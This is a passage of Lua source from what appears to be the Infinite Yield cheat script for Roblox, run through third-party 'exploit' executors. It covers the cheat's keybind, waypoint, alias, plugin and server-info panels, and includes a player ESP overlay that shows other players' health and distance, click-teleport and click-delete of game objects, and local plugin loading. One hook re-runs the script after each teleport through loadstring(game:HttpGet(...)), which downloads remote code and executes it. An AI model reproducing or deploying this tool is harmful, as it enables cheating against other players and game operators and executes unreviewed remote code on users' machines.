TextLabel.Parent = BillboardGui
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0, 0, 0, -50)
TextLabel.Size = UDim2.new(0, 100, 0, 100)
TextLabel.Font = Enum.Font.SourceSansSemibold
TextLabel.TextSize = 20
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextStrokeTransparency = 0
TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
TextLabel.Text = 'Name: '..plr.Name
TextLabel.ZIndex = 10
local lcLoopFunc
local addedFunc
local teamChange
addedFunc = plr.CharacterAdded:Connect(function()
if ESPholder ~= nil and ESPholder.Parent ~= nil then
lcLoopFunc:Disconnect()
teamChange:Disconnect()
ESPholder:Destroy()
repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
Locate(plr)
addedFunc:Disconnect()
else
teamChange:Disconnect()
addedFunc:Disconnect()
end
end)
teamChange = plr:GetPropertyChangedSignal("TeamColor"):Connect(function()
if ESPholder ~= nil and ESPholder.Parent ~= nil then
lcLoopFunc:Disconnect()
addedFunc:Disconnect()
ESPholder:Destroy()
repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid")
Locate(plr)
teamChange:Disconnect()
else
teamChange:Disconnect()
end
end)
local function lcLoop()
if COREGUI:FindFirstChild(plr.Name..'_LC') then
if plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") and Players.LocalPlayer.Character and getRoot(Players.LocalPlayer.Character) and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
local pos = math.floor((getRoot(Players.LocalPlayer.Character).Position - getRoot(plr.Character).Position).magnitude)
TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
end
else
teamChange:Disconnect()
addedFunc:Disconnect()
lcLoopFunc:Disconnect()
end
end
lcLoopFunc = RunService.RenderStepped:Connect(lcLoop)
end
end
end)
end
local bindsGUI = KeybindEditor
local awaitingInput = false
local keySelected = false
function refreshbinds()
if Holder_2 then
Holder_2:ClearAllChildren()
Holder_2.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #binds do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newbind = Example_2:Clone()
newbind.Parent = Holder_2
newbind.Visible = true
newbind.Position = UDim2.new(0,0,0, Position + 5)
table.insert(shade2,newbind)
table.insert(shade2,newbind.Text)
table.insert(text1,newbind.Text)
table.insert(shade3,newbind.Text.Delete)
table.insert(text2,newbind.Text.Delete)
local input = tostring(binds[i].KEY)
local key
if input == 'RightClick' or input == 'LeftClick' then
key = input
else
key = input:sub(14)
end
if binds[i].TOGGLE then
newbind.Text.Text = key.." > "..binds[i].COMMAND.." / "..binds[i].TOGGLE
else
newbind.Text.Text = key.." > "..binds[i].COMMAND.." "..(binds[i].ISKEYUP and "(keyup)" or "(keydown)")
end
Holder_2.CanvasSize = UDim2.new(0,0,0, Position + 30)
newbind.Text.Delete.MouseButton1Click:Connect(function()
unkeybind(binds[i].COMMAND,binds[i].KEY)
end)
end
end
end
refreshbinds()
toggleOn = {}
function unkeybind(cmd,key)
for i = #binds,1,-1 do
if binds[i].COMMAND == cmd and binds[i].KEY == key then
toggleOn[binds[i]] = nil
table.remove(binds, i)
end
end
refreshbinds()
updatesaves()
if key == 'RightClick' or key == 'LeftClick' then
notify('Keybinds Updated','Unbinded '..key..' from '..cmd)
else
notify('Keybinds Updated','Unbinded '..key:sub(14)..' from '..cmd)
end
end
PositionsFrame.Delete.MouseButton1Click:Connect(function()
execCmd('cpos')
end)
function refreshwaypoints()
if #WayPoints > 0 or #pWayPoints > 0 then
PositionsHint:Destroy()
end
if Holder_4 then
Holder_4:ClearAllChildren()
Holder_4.CanvasSize = UDim2.new(0, 0, 0, 10)
local YSize = 25
local num = 1
for i = 1, #WayPoints do
local Position = ((num * YSize) - YSize)
local newpoint = Example_4:Clone()
newpoint.Parent = Holder_4
newpoint.Visible = true
newpoint.Position = UDim2.new(0,0,0, Position + 5)
newpoint.Text.Text = WayPoints[i].NAME
table.insert(shade2,newpoint)
table.insert(shade2,newpoint.Text)
table.insert(text1,newpoint.Text)
table.insert(shade3,newpoint.Text.Delete)
table.insert(text2,newpoint.Text.Delete)
table.insert(shade3,newpoint.Text.TP)
table.insert(text2,newpoint.Text.TP)
Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
newpoint.Text.Delete.MouseButton1Click:Connect(function()
execCmd('dpos '..WayPoints[i].NAME)
end)
newpoint.Text.TP.MouseButton1Click:Connect(function()
execCmd("loadpos "..WayPoints[i].NAME)
end)
num = num+1
end
for i = 1, #pWayPoints do
local Position = ((num * YSize) - YSize)
local newpoint = Example_4:Clone()
newpoint.Parent = Holder_4
newpoint.Visible = true
newpoint.Position = UDim2.new(0,0,0, Position + 5)
newpoint.Text.Text = pWayPoints[i].NAME
table.insert(shade2,newpoint)
table.insert(shade2,newpoint.Text)
table.insert(text1,newpoint.Text)
table.insert(shade3,newpoint.Text.Delete)
table.insert(text2,newpoint.Text.Delete)
table.insert(shade3,newpoint.Text.TP)
table.insert(text2,newpoint.Text.TP)
Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
newpoint.Text.Delete.MouseButton1Click:Connect(function()
execCmd('dpos '..pWayPoints[i].NAME)
end)
newpoint.Text.TP.MouseButton1Click:Connect(function()
execCmd("loadpos "..pWayPoints[i].NAME)
end)
num = num+1
end
end
end
refreshwaypoints()
function refreshaliases()
if #aliases > 0 then
AliasHint:Destroy()
end
if Holder_3 then
Holder_3:ClearAllChildren()
Holder_3.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #aliases do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newalias = Example_3:Clone()
newalias.Parent = Holder_3
newalias.Visible = true
newalias.Position = UDim2.new(0,0,0, Position + 5)
newalias.Text.Text = aliases[i].CMD.." > "..aliases[i].ALIAS
table.insert(shade2,newalias)
table.insert(shade2,newalias.Text)
table.insert(text1,newalias.Text)
table.insert(shade3,newalias.Text.Delete)
table.insert(text2,newalias.Text.Delete)
Holder_3.CanvasSize = UDim2.new(0,0,0, Position + 30)
newalias.Text.Delete.MouseButton1Click:Connect(function()
execCmd('removealias '..aliases[i].ALIAS)
end)
end
end
end
local bindChosenKeyUp = false
BindTo.MouseButton1Click:Connect(function()
awaitingInput = true
BindTo.Text = 'Press something'
end)
BindTriggerSelect.MouseButton1Click:Connect(function()
bindChosenKeyUp = not bindChosenKeyUp
BindTriggerSelect.Text = bindChosenKeyUp and "KeyUp" or "KeyDown"
end)
newToggle = false
Cmdbar_3.Parent.Visible = false
On_2.MouseButton1Click:Connect(function()
if newToggle == false then newToggle = true
On_2.BackgroundTransparency = 0
Cmdbar_3.Parent.Visible = true
BindTriggerSelect.Visible = false
else newToggle = false
On_2.BackgroundTransparency = 1
Cmdbar_3.Parent.Visible = false
BindTriggerSelect.Visible = true
end
end)
Add_2.MouseButton1Click:Connect(function()
if keySelected then
if string.find(Cmdbar_2.Text, "\\\\") or string.find(Cmdbar_3.Text, "\\\\") then
notify('Keybind Error','Only use one backslash to keybind multiple commands into one keybind or command')
else
if newToggle and Cmdbar_3.Text ~= '' and Cmdbar_2.text ~= '' then
addbind(Cmdbar_2.Text,keyPressed,false,Cmdbar_3.Text)
elseif not newToggle and Cmdbar_2.text ~= '' then
addbind(Cmdbar_2.Text,keyPressed,bindChosenKeyUp)
else
return
end
refreshbinds()
updatesaves()
if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
notify('Keybinds Updated','Binded '..keyPressed..' to '..Cmdbar_2.Text..(newToggle and " / "..Cmdbar_3.Text or ""))
else
notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to '..Cmdbar_2.Text..(newToggle and " / "..Cmdbar_3.Text or ""))
end
end
end
end)
Exit_2.MouseButton1Click:Connect(function()
Cmdbar_2.Text = 'Command'
Cmdbar_3.Text = 'Command 2'
BindTo.Text = 'Click to bind'
bindChosenKeyUp = false
BindTriggerSelect.Text = "KeyDown"
keySelected = false
KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil)
end)
function onInputBegan(input,gameProcessed)
if awaitingInput then
if input.UserInputType == Enum.UserInputType.Keyboard then
keyPressed = tostring(input.KeyCode)
BindTo.Text = keyPressed:sub(14)
elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
keyPressed = 'LeftClick'
BindTo.Text = 'LeftClick'
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
keyPressed = 'RightClick'
BindTo.Text = 'RightClick'
end
awaitingInput = false
keySelected = true
end
if not gameProcessed and #binds > 0 then
for i,v in pairs(binds) do
if not v.ISKEYUP then
if (input.UserInputType == Enum.UserInputType.Keyboard and v.KEY:lower()==tostring(input.KeyCode):lower()) or (input.UserInputType == Enum.UserInputType.MouseButton1 and v.KEY:lower()=='leftclick') or (input.UserInputType == Enum.UserInputType.MouseButton2 and v.KEY:lower()=='rightclick') then
if v.TOGGLE then
local isOn = toggleOn[v] == true
toggleOn[v] = not isOn
if isOn then
execCmd(v.TOGGLE,Players.LocalPlayer)
else
execCmd(v.COMMAND,Players.LocalPlayer)
end
else
execCmd(v.COMMAND,Players.LocalPlayer)
end
end
end
end
end
end
function onInputEnded(input,gameProcessed)
if not gameProcessed and #binds > 0 then
for i,v in pairs(binds) do
if v.ISKEYUP then
if (input.UserInputType == Enum.UserInputType.Keyboard and v.KEY:lower()==tostring(input.KeyCode):lower()) or (input.UserInputType == Enum.UserInputType.MouseButton1 and v.KEY:lower()=='leftclick') or (input.UserInputType == Enum.UserInputType.MouseButton2 and v.KEY:lower()=='rightclick') then
execCmd(v.COMMAND,Players.LocalPlayer)
end
end
end
end
end
UserInputService.InputBegan:Connect(onInputBegan)
UserInputService.InputEnded:Connect(onInputEnded)
ClickTP.Select.MouseButton1Click:Connect(function()
if keySelected then
addbind('clicktp',keyPressed,bindChosenKeyUp)
refreshbinds()
updatesaves()
if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
notify('Keybinds Updated','Binded '..keyPressed..' to click tp')
else
notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click tp')
end
end
end)
ClickDelete.Select.MouseButton1Click:Connect(function()
if keySelected then
addbind('clickdel',keyPressed,bindChosenKeyUp)
refreshbinds()
updatesaves()
if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
notify('Keybinds Updated','Binded '..keyPressed..' to click delete')
else
notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click delete')
end
end
end)
local function clicktpFunc()
pcall(function()
local character = Players.LocalPlayer.Character
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid.SeatPart then
humanoid.Sit = false
wait(0.1)
end
local hipHeight = humanoid and humanoid.HipHeight > 0 and (humanoid.HipHeight + 1)
local rootPart = getRoot(character)
local rootPartPosition = rootPart.Position
local hitPosition = IYMouse.Hit.Position
local newCFrame = CFrame.new(
hitPosition,
Vector3.new(rootPartPosition.X, hitPosition.Y, rootPartPosition.Z)
) * CFrame.Angles(0, math.pi, 0)
rootPart.CFrame = newCFrame + Vector3.new(0, hipHeight or 4, 0)
end)
end
IYMouse.Button1Down:Connect(function()
for i,v in pairs(binds) do
if v.COMMAND == 'clicktp' then
local input = v.KEY
if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) and Players.LocalPlayer.Character then
clicktpFunc()
elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) and Players.LocalPlayer.Character then
clicktpFunc()
elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) and Players.LocalPlayer.Character then
clicktpFunc()
end
elseif v.COMMAND == 'clickdel' then
local input = v.KEY
if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
pcall(function() IYMouse.Target:Destroy() end)
elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) then
pcall(function() IYMouse.Target:Destroy() end)
elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) then
pcall(function() IYMouse.Target:Destroy() end)
end
end
end
end)
PluginsGUI = PluginEditor.background
function addPlugin(name)
if name:lower() == 'plugin file name' or name:lower() == 'iy_fe.iy' or name == 'iy_fe' then
notify('Plugin Error','Please enter a valid plugin')
else
local file
local fileName
if name:sub(-3) == '.iy' then
pcall(function() file = readfile(name) end)
fileName = name
else
pcall(function() file = readfile(name..'.iy') end)
fileName = name..'.iy'
end
if file then
if not FindInTable(PluginsTable, fileName) then
table.insert(PluginsTable, fileName)
LoadPlugin(fileName)
refreshplugins()
pcall(eventEditor.Refresh)
else
notify('Plugin Error','This plugin is already added')
end
else
notify('Plugin Error','Cannot locate file "'..fileName..'". Is the file in the correct folder?')
end
end
end
function deletePlugin(name)
local pName = name..'.iy'
if name:sub(-3) == '.iy' then
pName = name
end
for i = #cmds,1,-1 do
if cmds[i].PLUGIN == pName then
table.remove(cmds, i)
end
end
for i,v in pairs(CMDsF:GetChildren()) do
if v.Name == 'PLUGIN_'..pName then
v:Destroy()
end
end
for i,v in pairs(PluginsTable) do
if v == pName then
table.remove(PluginsTable, i)
notify('Removed Plugin',pName..' was removed')
end
end
IndexContents('',true)
refreshplugins()
end
function refreshplugins(dontSave)
if #PluginsTable > 0 then
PluginsHint:Destroy()
end
if Holder_5 then
Holder_5:ClearAllChildren()
Holder_5.CanvasSize = UDim2.new(0, 0, 0, 10)
for i,v in pairs(PluginsTable) do
local pName = v
local YSize = 25
local Position = ((i * YSize) - YSize)
local newplugin = Example_5:Clone()
newplugin.Parent = Holder_5
newplugin.Visible = true
newplugin.Position = UDim2.new(0,0,0, Position + 5)
newplugin.Text.Text = pName
table.insert(shade2,newplugin)
table.insert(shade2,newplugin.Text)
table.insert(text1,newplugin.Text)
table.insert(shade3,newplugin.Text.Delete)
table.insert(text2,newplugin.Text.Delete)
Holder_5.CanvasSize = UDim2.new(0,0,0, Position + 30)
newplugin.Text.Delete.MouseButton1Click:Connect(function()
deletePlugin(pName)
end)
end
if not dontSave then
updatesaves()
end
end
end
local PluginCache
function LoadPlugin(val,startup)
local plugin
function CatchedPluginLoad()
plugin = loadfile(val)()
end
function handlePluginError(plerror)
notify('Plugin Error','An error occurred with the plugin, "'..val..'" and it could not be loaded')
if FindInTable(PluginsTable,val) then
for i,v in pairs(PluginsTable) do
if v == val then
table.remove(PluginsTable,i)
end
end
end
updatesaves()
print("Original Error: "..tostring(plerror))
print("Plugin Error, stack traceback: "..tostring(debug.traceback()))
plugin = nil
return false
end
xpcall(CatchedPluginLoad, handlePluginError)
if plugin ~= nil then
if not startup then
notify('Loaded Plugin',"Name: "..plugin["PluginName"].."\n".."Description: "..plugin["PluginDescription"])
end
addcmdtext('',val)
addcmdtext(string.upper('--'..plugin["PluginName"]),val,plugin["PluginDescription"])
if plugin["Commands"] then
for i,v in pairs(plugin["Commands"]) do
local cmdExt = ''
local cmdName = i
local function handleNames()
cmdName = i
if findCmd(cmdName..cmdExt) then
if isNumber(cmdExt) then
cmdExt = cmdExt+1
else
cmdExt = 1
end
handleNames()
else
cmdName = cmdName..cmdExt
end
end
handleNames()
addcmd(cmdName, v["Aliases"], v["Function"], val)
if v["ListName"] then
local newName = v.ListName
local cmdNames = {i,unpack(v.Aliases)}
for i,v in pairs(cmdNames) do
newName = newName:gsub(v,v..cmdExt)
end
addcmdtext(newName,val,v["Description"])
else
addcmdtext(cmdName,val,v["Description"])
end
end
end
IndexContents('',true)
elseif plugin == nil then
plugin = nil
end
end
function FindPlugins()
if PluginsTable ~= nil and type(PluginsTable) == "table" then
for i,v in pairs(PluginsTable) do
LoadPlugin(v,true)
end
refreshplugins(true)
end
end
AddPlugin.MouseButton1Click:Connect(function()
addPlugin(PluginsGUI.FileName.Text)
end)
Exit_3.MouseButton1Click:Connect(function()
PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil)
FileName.Text = 'Plugin File Name'
end)
Add_3.MouseButton1Click:Connect(function()
PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, 310), "InOut", "Quart", 0.5, true, nil)
end)
Plugins.MouseButton1Click:Connect(function()
if writefileExploit() then
PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5)
SettingsHolder.Visible = false
else
notify('Incompatible Exploit','Your exploit is unable to use plugins (missing read/writefile)')
end
end)
Close_4.MouseButton1Click:Connect(function()
SettingsHolder.Visible = true
PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
end)
local TeleportCheck = false
Players.LocalPlayer.OnTeleport:Connect(function(State)
if KeepInfYield and (not TeleportCheck) and queueteleport then
TeleportCheck = true
queueteleport("loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()")
end
end)
addcmd('addalias',{},function(args, speaker)
if #args < 2 then return end
local cmd = string.lower(args[1])
local alias = string.lower(args[2])
for i,v in pairs(cmds) do
if v.NAME:lower()==cmd or FindInTable(v.ALIAS,cmd) then
customAlias[alias] = v
aliases[#aliases + 1] = {CMD = cmd, ALIAS = alias}
notify('Aliases Modified',"Added "..alias.." as an alias to "..cmd)
updatesaves()
refreshaliases()
break
end
end
end)
addcmd('removealias',{},function(args, speaker)
if #args < 1 then return end
local alias = string.lower(args[1])
if customAlias[alias] then
local cmd = customAlias[alias].NAME
customAlias[alias] = nil
for i = #aliases,1,-1 do
if aliases[i].ALIAS == tostring(alias) then
table.remove(aliases, i)
end
end
notify('Aliases Modified',"Removed the alias "..alias.." from "..cmd)
updatesaves()
refreshaliases()
end
end)
addcmd('clraliases',{},function(args, speaker)
customAlias = {}
aliases = {}
notify('Aliases Modified','Removed all aliases')
updatesaves()
refreshaliases()
end)
addcmd('discord', {'support', 'help'}, function(args, speaker)
if everyClipboard then
toClipboard('https://discord.com/invite/dYHag43eeU')
notify('Discord Invite', 'Copied to clipboard!\ndiscord.gg/dYHag43eeU')
else
notify('Discord Invite', 'discord.gg/dYHag43eeU')
end
if httprequest then
httprequest({
Url = 'http://127.0.0.1:6463/rpc?v=1',
Method = 'POST',
Headers = {
['Content-Type'] = 'application/json',
Origin = 'https://discord.com'
},
Body = HttpService:JSONEncode({
cmd = 'INVITE_BROWSER',
nonce = HttpService:GenerateGUID(false),
args = {code = 'dYHag43eeU'}
})
})
end
end)
addcmd('keepiy', {}, function(args, speaker)
if queueteleport then
KeepInfYield = true
updatesaves()
else
notify('Incompatible Exploit','Your exploit does not support this command (missing queue_on_teleport)')
end
end)
addcmd('unkeepiy', {}, function(args, speaker)
if queueteleport then
KeepInfYield = false
updatesaves()
else
notify('Incompatible Exploit','Your exploit does not support this command (missing queue_on_teleport)')
end
end)
addcmd('togglekeepiy', {}, function(args, speaker)
if queueteleport then
KeepInfYield = not KeepInfYield
updatesaves()
else
notify('Incompatible Exploit','Your exploit does not support this command (missing queue_on_teleport)')
end
end)
local canOpenServerinfo = true
addcmd('serverinfo',{'info','sinfo'},function(args, speaker)
if not canOpenServerinfo then return end
canOpenServerinfo = false
task.spawn(function()
local FRAME = Instance.new("Frame")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ExitImage = Instance.new("ImageLabel")
local background = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextLabel2 = Instance.new("TextLabel")
local TextLabel3 = Instance.new("TextLabel")
local Time = Instance.new("TextLabel")
local appearance = Instance.new("TextLabel")
local maxplayers = Instance.new("TextLabel")
local name = Instance.new("TextLabel")
local placeid = Instance.new("TextLabel")
local playerid = Instance.new("TextLabel")
local players = Instance.new("TextLabel")
local CopyApp = Instance.new("TextButton")
local CopyPlrID = Instance.new("TextButton")
local CopyPlcID = Instance.new("TextButton")
local CopyPlcName = Instance.new("TextButton")
FRAME.Name = randomString()
FRAME.Parent = ScaledHolder
FRAME.Active = true
FRAME.BackgroundTransparency = 1
FRAME.Position = UDim2.new(0.5, -130, 0, -500)
FRAME.Size = UDim2.new(0, 250, 0, 20)
FRAME.ZIndex = 10
dragGUI(FRAME)
shadow.Name = "shadow"
shadow.Parent = FRAME
shadow.BackgroundColor3 = currentShade2
shadow.BorderSizePixel = 0
shadow.Size = UDim2.new(0, 250, 0, 20)
shadow.ZIndex = 10
table.insert(shade2,shadow)
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Size = UDim2.new(1, 0, 0.95, 0)
PopupText.ZIndex = 10
PopupText.Font = Enum.Font.SourceSans
PopupText.TextSize = 14
PopupText.Text = "Server"
PopupText.TextColor3 = currentText1
PopupText.TextWrapped = true
table.insert(text1,PopupText)
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundTransparency = 1
Exit.Position = UDim2.new(1, -20, 0, 0)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.Text = ""
Exit.ZIndex = 10
ExitImage.Parent = Exit
ExitImage.BackgroundColor3 = Color3.new(1, 1, 1)
ExitImage.BackgroundTransparency = 1
ExitImage.Position = UDim2.new(0, 5, 0, 5)
ExitImage.Size = UDim2.new(0, 10, 0, 10)
ExitImage.Image = getcustomasset("infiniteyield/assets/close.png")
ExitImage.ZIndex = 10
background.Name = "background"
background.Parent = FRAME
background.Active = true
background.BackgroundColor3 = currentShade1
background.BorderSizePixel = 0
background.Position = UDim2.new(0, 0, 1, 0)
background.Size = UDim2.new(0, 250, 0, 250)
background.ZIndex = 10
table.insert(shade1,background)
TextLabel.Name = "Text Label"
TextLabel.Parent = background
TextLabel.BackgroundTransparency = 1
TextLabel.BorderSizePixel = 0
TextLabel.Position = UDim2.new(0, 5, 0, 80)
TextLabel.Size = UDim2.new(0, 100, 0, 20)
TextLabel.ZIndex = 10
TextLabel.Font = Enum.Font.SourceSansLight
TextLabel.TextSize = 20
TextLabel.Text = "Run Time:"
TextLabel.TextColor3 = currentText1
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,TextLabel)
TextLabel2.Name = "Text Label2"
TextLabel2.Parent = background
TextLabel2.BackgroundTransparency = 1
TextLabel2.BorderSizePixel = 0
TextLabel2.Position = UDim2.new(0, 5, 0, 130)
TextLabel2.Size = UDim2.new(0, 100, 0, 20)
TextLabel2.ZIndex = 10
TextLabel2.Font = Enum.Font.SourceSansLight
TextLabel2.TextSize = 20
TextLabel2.Text = "Statistics:"
TextLabel2.TextColor3 = currentText1
TextLabel2.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,TextLabel2)
TextLabel3.Name = "Text Label3"
TextLabel3.Parent = background
TextLabel3.BackgroundTransparency = 1
TextLabel3.BorderSizePixel = 0
TextLabel3.Position = UDim2.new(0, 5, 0, 10)
TextLabel3.Size = UDim2.new(0, 100, 0, 20)
TextLabel3.ZIndex = 10
TextLabel3.Font = Enum.Font.SourceSansLight
TextLabel3.TextSize = 20
TextLabel3.Text = "Local Player:"
TextLabel3.TextColor3 = currentText1
TextLabel3.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,TextLabel3)
Time.Name = "Time"
Time.Parent = background
Time.BackgroundTransparency = 1
Time.BorderSizePixel = 0
Time.Position = UDim2.new(0, 5, 0, 105)
Time.Size = UDim2.new(0, 100, 0, 20)
Time.ZIndex = 10
Time.Font = Enum.Font.SourceSans
Time.FontSize = Enum.FontSize.Size14
Time.Text = "LOADING"
Time.TextColor3 = currentText1
Time.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,Time)
appearance.Name = "appearance"
appearance.Parent = background
appearance.BackgroundTransparency = 1
appearance.BorderSizePixel = 0
appearance.Position = UDim2.new(0, 5, 0, 55)
appearance.Size = UDim2.new(0, 100, 0, 20)
appearance.ZIndex = 10
appearance.Font = Enum.Font.SourceSans
appearance.FontSize = Enum.FontSize.Size14
appearance.Text = "Appearance: LOADING"
appearance.TextColor3 = currentText1
appearance.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,appearance)
maxplayers.Name = "maxplayers"
maxplayers.Parent = background
maxplayers.BackgroundTransparency = 1
maxplayers.BorderSizePixel = 0
maxplayers.Position = UDim2.new(0, 5, 0, 175)
maxplayers.Size = UDim2.new(0, 100, 0, 20)
maxplayers.ZIndex = 10
maxplayers.Font = Enum.Font.SourceSans
maxplayers.FontSize = Enum.FontSize.Size14
maxplayers.Text = "LOADING"
maxplayers.TextColor3 = currentText1
maxplayers.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,maxplayers)
name.Name = "name"
name.Parent = background
name.BackgroundTransparency = 1
name.BorderSizePixel = 0
name.Position = UDim2.new(0, 5, 0, 215)
name.Size = UDim2.new(0, 240, 0, 30)
name.ZIndex = 10
name.Font = Enum.Font.SourceSans
name.FontSize = Enum.FontSize.Size14
name.Text = "Place Name: LOADING"
name.TextColor3 = currentText1
name.TextWrapped = true
name.TextXAlignment = Enum.TextXAlignment.Left
name.TextYAlignment = Enum.TextYAlignment.Top
table.insert(text1,name)
placeid.Name = "placeid"
placeid.Parent = background
placeid.BackgroundTransparency = 1
placeid.BorderSizePixel = 0
placeid.Position = UDim2.new(0, 5, 0, 195)
placeid.Size = UDim2.new(0, 100, 0, 20)
placeid.ZIndex = 10
placeid.Font = Enum.Font.SourceSans
placeid.FontSize = Enum.FontSize.Size14
placeid.Text = "Place ID: LOADING"
placeid.TextColor3 = currentText1
placeid.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,placeid)
playerid.Name = "playerid"
playerid.Parent = background
playerid.BackgroundTransparency = 1
playerid.BorderSizePixel = 0
playerid.Position = UDim2.new(0, 5, 0, 35)
playerid.Size = UDim2.new(0, 100, 0, 20)
playerid.ZIndex = 10
playerid.Font = Enum.Font.SourceSans
playerid.FontSize = Enum.FontSize.Size14
playerid.Text = "Player ID: LOADING"
playerid.TextColor3 = currentText1
playerid.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,playerid)
players.Name = "players"
players.Parent = background
players.BackgroundTransparency = 1
players.BorderSizePixel = 0
players.Position = UDim2.new(0, 5, 0, 155)
players.Size = UDim2.new(0, 100, 0, 20)
players.ZIndex = 10
players.Font = Enum.Font.SourceSans
players.FontSize = Enum.FontSize.Size14
players.Text = "LOADING"
players.TextColor3 = currentText1
players.TextXAlignment = Enum.TextXAlignment.Left
table.insert(text1,players)
CopyApp.Name = "CopyApp"
CopyApp.Parent = background
CopyApp.BackgroundColor3 = currentShade2
CopyApp.BorderSizePixel = 0
CopyApp.Position = UDim2.new(0, 210, 0, 55)
CopyApp.Size = UDim2.new(0, 35, 0, 20)
CopyApp.Font = Enum.Font.SourceSans
CopyApp.TextSize = 14
CopyApp.Text = "Copy"
CopyApp.TextColor3 = currentText1
CopyApp.ZIndex = 10
table.insert(shade2,CopyApp)
table.insert(text1,CopyApp)
CopyPlrID.Name = "CopyPlrID"
CopyPlrID.Parent = background
CopyPlrID.BackgroundColor3 = currentShade2
CopyPlrID.BorderSizePixel = 0
CopyPlrID.Position = UDim2.new(0, 210, 0, 35)
CopyPlrID.Size = UDim2.new(0, 35, 0, 20)
CopyPlrID.Font = Enum.Font.SourceSans
CopyPlrID.TextSize = 14
CopyPlrID.Text = "Copy"
CopyPlrID.TextColor3 = currentText1
CopyPlrID.ZIndex = 10
table.insert(shade2,CopyPlrID)
table.insert(text1,CopyPlrID)
CopyPlcID.Name = "CopyPlcID"
CopyPlcID.Parent = background
CopyPlcID.BackgroundColor3 = currentShade2
CopyPlcID.BorderSizePixel = 0
CopyPlcID.Position = UDim2.new(0, 210, 0, 195)
CopyPlcID.Size = UDim2.new(0, 35, 0, 20)
CopyPlcID.Font = Enum.Font.SourceSans
CopyPlcID.TextSize = 14
CopyPlcID.Text = "Copy"
CopyPlcID.TextColor3 = currentText1
CopyPlcID.ZIndex = 10
table.insert(shade2,CopyPlcID)
table.insert(text1,CopyPlcID)
CopyPlcName.Name = "CopyPlcName"
CopyPlcName.Parent = background
CopyPlcName.BackgroundColor3 = currentShade2
CopyPlcName.BorderSizePixel = 0
CopyPlcName.Position = UDim2.new(0, 210, 0, 215)
CopyPlcName.Size = UDim2.new(0, 35, 0, 20)
CopyPlcName.Font = Enum.Font.SourceSans
CopyPlcName.TextSize = 14
CopyPlcName.Text = "Copy"
CopyPlcName.TextColor3 = currentText1
CopyPlcName.ZIndex = 10
table.insert(shade2,CopyPlcName)
table.insert(text1,CopyPlcName)
local SINFOGUI = background
FRAME:TweenPosition(UDim2.new(0.5, -130, 0, 100), "InOut", "Quart", 0.5, true, nil)
wait(0.5)
Exit.MouseButton1Click:Connect(function()
FRAME:TweenPosition(UDim2.new(0.5, -130, 0, -500), "InOut", "Quart", 0.5, true, nil)
wait(0.6)
FRAME:Destroy()
canOpenServerinfo = true
end)
local Asset = MarketplaceService:GetProductInfo(PlaceId)
SINFOGUI.name.Text = "Place Name: " .. Asset.Name
SINFOGUI.playerid.Text = "Player ID: " ..speaker.UserId
SINFOGUI.maxplayers.Text = Players.MaxPlayers.. " Players Max"
SINFOGUI.placeid.Text = "Place ID: " ..PlaceId
CopyApp.MouseButton1Click:Connect(function()
toClipboard(speaker.CharacterAppearanceId)
end)
CopyPlrID.MouseButton1Click:Connect(function()
toClipboard(speaker.UserId)
end)
CopyPlcID.MouseButton1Click:Connect(function()
toClipboard(PlaceId)
end)
CopyPlcName.MouseButton1Click:Connect(function()
toClipboard(Asset.Name)
end)
repeat
players = Players:GetPlayers()
